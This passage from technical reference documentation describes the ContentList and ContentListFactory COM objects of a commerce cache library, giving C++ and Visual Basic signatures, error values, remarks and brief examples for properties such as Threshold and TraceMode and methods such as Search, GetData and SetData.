[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Normally, the Count property is already fixed when a ContentList object is created by a ContentListFactory object. The property may only be set for ContentList objects that are created by a ContentListFactory object that has not yet had any content items stored in it. Also, the Count property cannot be set to a number smaller than the current setting.

This property is functionally identical to the one of the same name in the ContentListFactory object.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_Factory Property [C++]

ContentList.Factory Property [Visual Basic]

[C++] The Factory property is a read-only pointer to the IContentListFactory interface of the ContentListFactory object that created this ContentList object.

[Visual Basic] The Factory property is a read-only reference to the ContentListFactory object that created this ContentList object.

Definition

[C++]
Get method:
HRESULT IContentList::get_Factory(
 IContentListFactory** Factory
);
[Visual Basic]
Property Factory As ContentListFactory

Parameters

Factory [C++]
[out,retval] The address of a pointer used to return the IContentListFactory interface of the ContentListFactory object that created this ContentList object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_Fields Property [C++]

ContentList.Fields Property [Visual Basic]

The Fields property creates a new Fields object that allows access to the fields for a specified content item. The Fields property is read-only; however, the Fields object is read/write in that changes made using this object are reflected in the ContentList object.

Definition

[C++]
Get method:
HRESULT IContentList::get_Fields(
 long RowNum,
 Fields** Fields
);
[Visual Basic]
Property Fields(
 RowNum As Long
) As Fields

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentList object for which a Fields object will be returned. Positions are counted from zero (0), not from one (1).
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentList object for which a Fields object will be returned. Positions are counted from zero (0), not from one (1).
Fields [C++]
[out,retval] The address of a pointer used to return a Fields object for the specified row in the ContentList object.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Fields object exposes the same interface as the ActiveX Data Objects (ADO) Fields object.

This property is functionally identical to the one of the same name in the ContentListFactory object.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_RowLimit, put_RowLimit Property [C++]

ContentList.RowLimit Property [Visual Basic]

The RowLimit property is a read/write number that specifies the maximum number of rows that the object should select for the ActiveRows property.

Definition

[C++]

Get method:

HRESULT IContentList::get_RowLimit(
 long* RowLimit
);

Put method:

HRESULT IContentList::put_RowLimit(
 long RowLimit
);
[Visual Basic]
Property RowLimit() As Long

Parameters

RowLimit [C++]
[in] When putting the property, a long that specifies the row limit.
[out,retval] When getting the property, a pointer to a long used to return the row limit.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object

[C++] IContentList::get_ActiveRows

[Visual Basic] ContentList.ActiveRows


IContentList::get_Sorted, put_Sorted Property [C++]

ContentList.Sorted Property [Visual Basic]

The Sorted property is a read/write Boolean that determines whether the next enumeration of the ContentList object ActiveRows property will be returned in sorted order by score (highest to lowest).

Definition

[C++]

Get method:

HRESULT IContentList::get_Sorted(
 VARIANT_BOOL* Sorted
);

Put method:

HRESULT IContentList::put_Sorted(
 VARIANT_BOOL Sorted
);
[Visual Basic]
Property Sorted() As Boolean

Parameters

Sorted [C++]
[in] When putting the property, a VARIANT_BOOL that specifies whether to return the ActiveRows property in sorted order.
[out,retval] When getting the property, a pointer to a VARIANT_BOOL used to return the value of the Sorted property. See the Remarks section for the effects of this property.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A value of True indicates that the next enumeration of the ContentList object ActiveRows property should be returned in sorted order by score (highest to lowest). A value of FALSE indicates that it will not be sorted. The items do not actually change positions in the list — that is, the ordinal identifying an item never changes. Setting the value to True only effects the next enumeration of the ActiveRows property, subsequent enumerations will be unsorted unless the property is set to True again.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_Threshold, put_Threshold Property [C++]

ContentList.Threshold Property [Visual Basic]

The Threshold property is a read/write floating point number. This number contains a threshold score that items must meet or exceed to be included in the ActiveRows collection property.

Definition

[C++]

Get method:

HRESULT IContentList::get_Threshold(
 float* Threshold
);

Put method:

HRESULT IContentList::put_Threshold(
 float Threshold
);
[Visual Basic]
Property Threshold() As float

Parameters

Threshold [C++]
[in] When putting the property, a float that contains the new threshold score.
[out,retval] When getting the property, a pointer to a float used to return the threshold score.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_TraceMessages Property [C++]

ContentList.TraceMessages Property [Visual Basic]

The TraceMessages property is a SimpleList object that contains the list of trace strings that have accumulated for the given item in a ContentList object. The TraceMessages property is read-only; however, the returned SimpleList object is read/write.

Definition

[C++]
Get method:
HRESULT IContentList::get_TraceMessages(
 long RowNum,
 ISimpleList** TraceMessages
);
[Visual Basic]
Property TraceMessages(
 RowNum As Long
) As ISimpleList

Parameters

RowNum [C++]
[in] A long that contains the position of the row for which the trace messages will be returned. Row positions start at zero (0), not one (1).
RowNum [Visual Basic]
A Long that contains the position of the row for which the trace messages will be returned. Row positions start at zero (0), not one (1).
TraceMessages [C++]
[out,retval] The address of a pointer used to return the ISimpleList interface of the SimpleList object that contains the trace messages.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The TraceMode property acts as a global switch to control whether any score tracing is performed. If it is set to True, score tracing is performed. If it is set to False, score tracing is suppressed.

[Visual Basic] The TraceMode property acts as a global switch to control whether any score tracing is performed. If it is set to True, score tracing is performed. If it is set to False, score tracing is suppressed.

When you use score tracing, you will notice a dramatic negative effect on performance; score tracing should not be used under normal circumstances. However, it can be useful when you are attempting to troubleshoot a scoring-related issue.

The list will be empty if the TraceMode property is set to False or if no score modifications have been made to the item.

Each item in the list is a string in the following format:

<component>,<operator><number>,<description>

Where the fields of the string are defined as follows:

component
The identifier of the component that made the score change, as passed to the AdjustScore, SetScore, and Filter methods.
operator
= if the score set to an absolute value by the SetScore or Filter methods, or * if a multiplier was applied to the score by the AdjustScore method.
number
The score returned by the SetScore method after any adjustments by the Filter or AdjustScore methods.
description
The reason for the score change, as passed to the AdjustScore or SetScore methods, and set by the Filter method.

An example score tracing string is:

"Commerce.AdNod,=0.9875,Need of Delivery".

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object

[C++] IContentList::get_TraceMode, put_TraceMode

[Visual Basic] ContentList.TraceMode


IContentList::get_TraceMode, put_TraceMode Property [C++]

ContentList.TraceMode Property Property [Visual Basic]

The TraceMode property is a read/write Boolean that controls whether score tracing is enabled or suppressed.

Definition

[C++]

Get method:

HRESULT IContentList::get_TraceMode(
 VARIANT_BOOL* TraceMode
);

Put method:

HRESULT IContentList::put_TraceMode(
 VARIANT_BOOL TraceMode
);
[Visual Basic]
Property TraceMode() As Boolean

Parameters

TraceMode [C++]
[out,retval] When getting the property, a pointer to a VARIANT_BOOL used to return the current trace mode setting. A value of True enables score tracing. A value of False suppresses score tracing.
[in] When putting the property, a VARIANT_BOOL that contains a new trace mode setting. A value of True enables score tracing. A value of False suppresses score tracing.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property acts as a global switch to control whether score tracing is performed. If it is set to True, a SimpleList object of trace messages will be constructed that can be accessed through the TraceMessages property. If it is set to False, score tracing is suppressed.

When you use score tracing, you will notice a dramatic negative effect on performance; score tracing should not be used under normal circumstances. However, it can be useful when you are attempting to troubleshoot a scoring-related issue.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


ContentListFactory Object [C++]

ContentListFactory Object [Visual Basic]

Use this object to efficiently maintain lists of content items that compete with each other to be selected for display on a Web page by a Content Selection pipeline (CSP).

ProgID: | Commerce.ContentListFactory (Externally creatable)
COM Class Name: | ContentListFactory
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | IContentListFactory
Interface ID Constant: | IID_IContentListFactory
Header File: | cacheint.h, mspu_guids.h

[C++] In C++, use the IContentListFactory and IDataContainer interfaces to access to the methods and properties of a ContentListFactory object.

Methods

[C++]
Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADO Recordset object. The ContentListFactory object is populated with the data from the Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | Gets data from a specified row and column in a ContentListFactory object in a high-performance, non-scriptable manner.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentListFactory object in a high-performance, non-scriptable manner.
[Visual Basic]
Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADO Recordset object. The ContentListFactory object is populated with the data from the Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | This method is not usable from Visual Basic or VBScript.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | This method is not usable from Visual Basic or VBScript.

Properties

[C++]
Property | Type | Description
AllRows | IRowCollection | The collection of all rows in the ContentListFactory object. This property is read-only.
Count | long | The number of rows in the ContentListFactory object. This property is read/write.
Fields | Fields | The Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.
[Visual Basic]
Property | Type | Description
AllRows | IRowCollection | The collection of all rows in the ContentListFactory object. This property is read-only.
Count | long | Stores the number of rows in the ContentListFactory object. This property is read/write.
Fields | Fields | The Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.

Remarks

Important

  • The ContentList and the ContentListFactory objects are designed to be run in-process with their clients. The GetData and SetData methods assume direct memory access for performance reasons.

Both the ContentList object and the ContentListFactory object implement a common interface, IDataContainer. Therefore they share the following methods and properties, which are functionally identical on both objects:

Properties:

  • AllRows
  • Count
  • Fields

Methods:

  • BuildIndex
  • GetData
  • Search
  • SetData


IContentListFactory Methods [C++]

ContentListFactory Methods [Visual Basic]

Methods

[C++]
Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADO Recordset object. The ContentListFactory object is populated with the data from the Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | Gets data from a specified row and column in a ContentListFactory object in a high-performance, non-scriptable manner.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentListFactory object in a high-performance, non-scriptable manner.
[Visual Basic]
Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADO Recordset object. The ContentListFactory object is populated with the data from the Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | This method is not usable from Visual Basic or VBScript.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | This method is not usable from Visual Basic or VBScript.


IContentListFactory::BuildIndex Method [C++]

ContentListFactory.BuildIndex Method [Visual Basic]

Use this method to build an index for a specific column in a ContentListFactory object.

Definition

[C++]
HRESULT IContentListFactory::BuildIndex(
 VARIANT vCol
);
[Visual Basic]
Sub BuildIndex(
 vCol As Variant
)

Parameters

vCol [C++]
[in] A VARIANT that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vCol [Visual Basic]
A Variant that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

S_FALSE
An index already exists on the column.

Remarks

An index can be built on any read-only, non-private column that is of type string, integer, or array of strings or integers. (CLCOL_READONLY and not CLCOL_PRIVATE). Also, only columns of type CLCOL_I2, CLCOL_I4, CLCOL_STRING, and CLCOL_VARIANTARRAY can be indexed.

If a search is conducted on a column for which no index yet exists, the index is automatically created. This means that, though you are never required to call the BuildIndex method, you may want to incur the cost of creating the index at a known time for performance sake.

This method is functionally identical to the one of the same name to be found in the ContentList object.

Example

[Visual Basic]
call myContentListFactory.BuildIndex("AdType")

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::ConstructFromRecordset Method [C++]

ContentListFactory.ConstructFromRecordset Method [Visual Basic]

Use this method to initialize a new ContentListFactory object, and create and initialize a new ContentListSchema object, from an ADO Recordset object.

Definition

[C++]
HRESULT IContentListFactory::ConstructFromRecordset(
 _Recordset* Recordset,
 VARIANT Skip,
 IContentListSchema* Add
);
[Visual Basic]
Sub ConstructFromRecordset(
 Recordset As _Recordset,
 Skip As Variant,
 Add As ContentListSchema
)

Parameters

Recordset [C++]
[in] A pointer to an ADO Recordset object from which the ContentList object will be constructed.
Recordset [Visual Basic]
A reference to an ADO Recordset object from which the ContentList object will be constructed.
Skip [C++]
[in,optional] A VARIANT that is a SimpleList object. The SimpleList object contains the names of field(s) that exist in the Recordset object but that should not have a column in the new ContentList object.
Skip [Visual Basic]
An optional Variant that is a SimpleList object. The SimpleList object contains the names of field(s) that exist in the Recordset object but that should not have a column in the new ContentList object.
Add [C++]
[in,optional] A pointer to the IContentListSchema interface of a ContentListSchema object that contains information about additional columns or new flags for existing columns that should be accounted for when the new ContentList object is created. Refer to the Remarks section for additional information.
Add [Visual Basic]
An optional reference to a ContentListSchema object that contains information about additional columns or new flags for existing columns that should be accounted for when the new ContentList object is created. Refer to the Remarks section for additional information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Skip and Add parameters are both optional.

Columns defined in the ContentListSchema object that do not exist in the Recordset object are added to the new schema for the ContentListFactory object. Schema columns defined in both the ContentListSchema object and in the Recordset object get their flag settings from the former object, overriding the default flag settings otherwise applied. Supplemental columns may be either shared or private. Data for any supplemental, shared columns should be initialized using the SetData method. Data for any supplemental, private columns cannot be provided until a corresponding ContentList object is created.

The default value for dwFlags for columns created from the fields of the Recordset object is CLCOL_READONLY.

The ContentListFactory object attempts to access the RecordCount property of the RecordSet to determine how many rows of data for which space should be allocated. Not all types of RecordSets support this. If the RecordCount property cannot be determined, the ContentListFactory object will grow the factory in chunks of 100 rows. For this reason, it is most efficient to pass a RecordSet for which the RecordCount property is defined.

The following table shows the Column types that are mapped from the Recordset object.

ADO Type | ContentList Type
adSmallInt, adUnsignedSmallInt | CLCOL_I2
adInteger, adUnsignedInt, adError | CLCOL_I4
adSingle | CLCOL_I4
adDouble | CLCOL_R8
adDBDate, adDBTime, adDBTimeStamp | CLCOL_DATE
adChar, adVarChar, adLongVarChar, adWChar, adVarWChar, adLongVarWChar | CLCOL_STRING
adChapter*, adDispatch | CLCOL_DISPATCH
adChapter | CLCOL_UNKNOWN
adBoolean | CLCOL_BOOL

*One level hierarchical Recordset objects are supported. The child Recordset objects are created in the ContentList object as a SimpleList of Dictionary objects.

Example

[Visual Basic]
'rsSource is an existing recordset.
'vSkip is a simple list of fields to ignore.
'vSchema is a ContentListSchema object.
myContentListFactory.ConstructFromRecordset rsSource, vSkip, vSchema

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::CreateNewContentList Method [C++]

ContentListFactory.CreateNewContentList Method [Visual Basic]

Use this method to create a new ContentList object based on the schema established for this ContentListFactory object. The new ContentList object provides a unified interface to the private data that it stores and to the shared data stored in the ContentListFactory object (that created it).

Definition

[C++]
HRESULT IContentListFactory::CreateNewContentList(
 IContentList** NewList
);
[Visual Basic]
Function CreateNewContentList() As ContentList

Parameters

NewList [C++]
[out, retval] The address of a pointer used to return the new ContentList object.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to the new ContentList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The new ContentList object will be based on the established schema for this ContentListFactory object. Storage for columns marked as CLCOL_PRIVATE in the schema is allocated in the ContentList object. The ContentList object maintains a pointer back to the factory that created it, which is where the storage for "shared" columns is maintained.

A ContentList object cannot exist independently of a ContentListFactory object.

The only prerequisite for calling this method is that a schema has been established. This can be accomplished by setting the Schema property or by calling the ConstructFromRecordset method.

Example

[Visual Basic]
set oMyContentList = myContentListFactory.CreateNewContentList()

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::GetData Method [C++]

ContentListFactory.GetData Method [Visual Basic]

[C++] Use this method to read data from a specified row and column in a ContentListFactory object.

[C++] This is one of the two ContentListFactory methods that do not support a scriptable interface. The other method is SetData. They are only intended for use in C++.

[Visual Basic] Due to performance considerations, this method is not intended for use from Visual Basic or VBScript.

[C++]

Definition

HRESULT IContentListFactory::GetData(
 long iRow,
 long iCol,
 BYTE* pData
);
[C++]

Parameters

iRow
[in] A long that contains the position of the row from which the data should be read. Row positions are counted from 0, not 1.
iCol
[in] A long that contains the position of the column within the specified row from which the data should be read. Column positions are counted from 0, not 1.
pData
[out] A pointer to where the data should be written.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[C++]

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[C++]

Remarks

The GetData method does not do any type checking. The memory pointed to by the pData parameter must be of sufficient size to receive the value being read. If the allotted memory is too small, memory corruption occurs.

The ContentListFactory object stores some types of data by value and other types of data by reference. Therefore, how you use the GetData and SetData methods depends on the data type.

When you pass a pointer to a String to the SetData method, it stores the String in the ContentListFactory object, not the pointer. The GetData method returns a pointer to the String in the ContentListFactory object, but not the String. Do not hold a reference to the String in the ContentListFactory object beyond the lifetime of the object, as it will be invalid after the object is destroyed. The ContentListFactory object only stores wide character Unicode strings. ANSI strings are not supported.

When you pass an interface pointer to an object to the SetData method, it calls the AddRef method on the interface referenced by the pointer and stores the pointer in the ContentListFactory object. The GetData method returns this pointer and calls the AddRef method on the interface referenced by it. The caller must release the pointer returned by the GetData method.

When you pass a pointer to a SafeArray to the SetData method, it locks the SafeArray and stores a reference to it in the ContentListFactory object. The GetData method returns a reference to the locked array. The caller should not unlock the array as this could invalidate the reference stored in the ContentListFactory object. It is safe to store the array in a Variant of type VT_ARRAY or VT_VARIANT, as a call to the VariantClear method will not release the SafeArray because it is locked. When the ContentListFactory object is destroyed, the SafeArray will be unlocked and the SafeArrayDestroy method will be called. Since SafeArrays have a lock count similar to reference counting the array data will be released only if the lock count is zero.

The GetData method reads all other supported data types by value.

This method is functionally identical to the one of the same name in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::Search Method [C++]

ContentListFactory.Search Method [Visual Basic]

Use this method to create a RowCollection object that allows access to each item in the ContentListFactory object that matches the specified criterion.

Definition

[C++]
HRESULT IContentListFactory::Search(
 VARIANT vCol,
 VARIANT vSearchCriteria,
 IRowCollection** ppIRowCollection
);
[Visual Basic]
Function Search(
 vCol As Variant,
 vSearchCriteria As Variant
) As IRowCollection

Parameters

vCol [C++]
[in] A VARIANT that identifies the column to search. The column is identified by either a number representing a column position (starting at 0) or a string containing a column name.
vCol [Visual Basic]
A Variant that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria [C++]
[in] A VARIANT that contains the filter criterion. The criterion is usually a BSTR, an array of BSTRs, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
vSearchCriteria [Visual Basic]
A Variant that contains the filter criterion. The criterion is usually a String, an array of Strings, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
ppIRowCollection [C++]
[out,retval] A pointer to an address to receive an IRowCollection interface pointer for a new RowCollection object that allows access to the rows that match the search criteria.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a new RowCollection object that contains one row for each matching item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

S_FALSE
No rows in the ContentListFactory object matched the filter criteria. As a result, the returned RowCollection is empty.

Remarks

Columns must be shared (not private) and read-only in order to be indexed and searched. Columns must also be of type string, integer (long or short), or variant array to be searchable. The search criteria may be any variant type that can be coerced to the type of the column being searched.

When the search criteria is an array of variants, the set of rows returned contains all rows that match any of the search criteria array elements. It is a union of the matches.

This method is functionally identical to the one of the same name to be found in the ContentList object.

Example

[Visual Basic]
set oMyRowCollection = myDataContainer.Search("AdType", "CarAds")

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::SetData Method [C++]

ContentListFactory.SetData Method [Visual Basic]

[C++] Use this method to write data to a specified row and column in a ContentListFactory object.

[C++] This is one of the two ContentListFactory methods that do not support a scriptable interface. The other method is GetData. They are only intended for use in C++.

[Visual Basic] Due to performance considerations, this method is not intended for use from Visual Basic or VBScript.

[C++]

Definition

HRESULT IContentListFactory::SetData(
 long iRow,
 long iCol,
 BYTE* pData
);
[C++]

Parameters

iRow [C++]
[in] A long that contains the position of the row into which the data should be written. Row positions are counted from 0, not 1.
iCol [C++]
[in] A long that contains the position of the column within the specified row into which the data should be written. Column positions are counted from 0, not 1.
pData [C++]
[in] A pointer to the data to write into the ContentListFactory object.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[C++]

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[C++]

Remarks

The SetData method does not do type checking for the data being written. The data pointed to by the pData parameter must be of the correct type for the column. Type (and especially size) mismatches will not result in memory scribbles (which is possible with the GetData method), but some of the data may not be written into the ContentListFactory object.

The ContentListFactory object stores some types of data by value and other types of data by reference. Therefore, how you use the GetData and SetData methods depends on the data type.

When you pass a pointer to a String to the SetData method, it stores the String in the ContentListFactory object, not the pointer. The GetData method returns a pointer to the String in the ContentListFactory object, but not the String. Do not hold a reference to the String in the ContentListFactory object beyond the lifetime of the object, as it will be invalid after the object is destroyed. The ContentListFactory object only stores wide character Unicode strings. ANSI strings are not supported.

When you pass an interface pointer to an object to the SetData method, it calls the AddRef method on the interface referenced by the pointer and stores the pointer in the ContentListFactory object. The GetData method returns this pointer and calls the AddRef method on the interface referenced by it. The caller must release the pointer returned by the GetData method.

When you pass a pointer to a SafeArray to the SetData method, it locks the SafeArray and stores a reference to it in the ContentListFactory object. The GetData method returns a reference to the locked array. The caller should not unlock the array as this could invalidate the reference stored in the ContentListFactory object. It is safe to store the array in a Variant of type VT_ARRAY or VT_VARIANT, as a call to the VariantClear method will not release the SafeArray because it is locked. When the ContentListFactory object is destroyed, the SafeArray will be unlocked and the SafeArrayDestroy method will be called. Since SafeArrays have a lock count similar to reference counting the array data will be released only if the lock count is zero.

The SetData method stores all other supported data types by value.

Objects must be "both threaded" and must aggregate the Free Threaded Marshaller in order to be stored in a ContentListFactory object. If you ignore this restriction, marshalling errors may occur.

This method is functionally identical to the one of the same name to be found in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory Properties [C++]

ContentListFactory Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AllRows | IRowCollection | The collection of all rows in the ContentListFactory object. This property is read-only.
Count | long | The number of rows in the ContentListFactory object. This property is read/write.
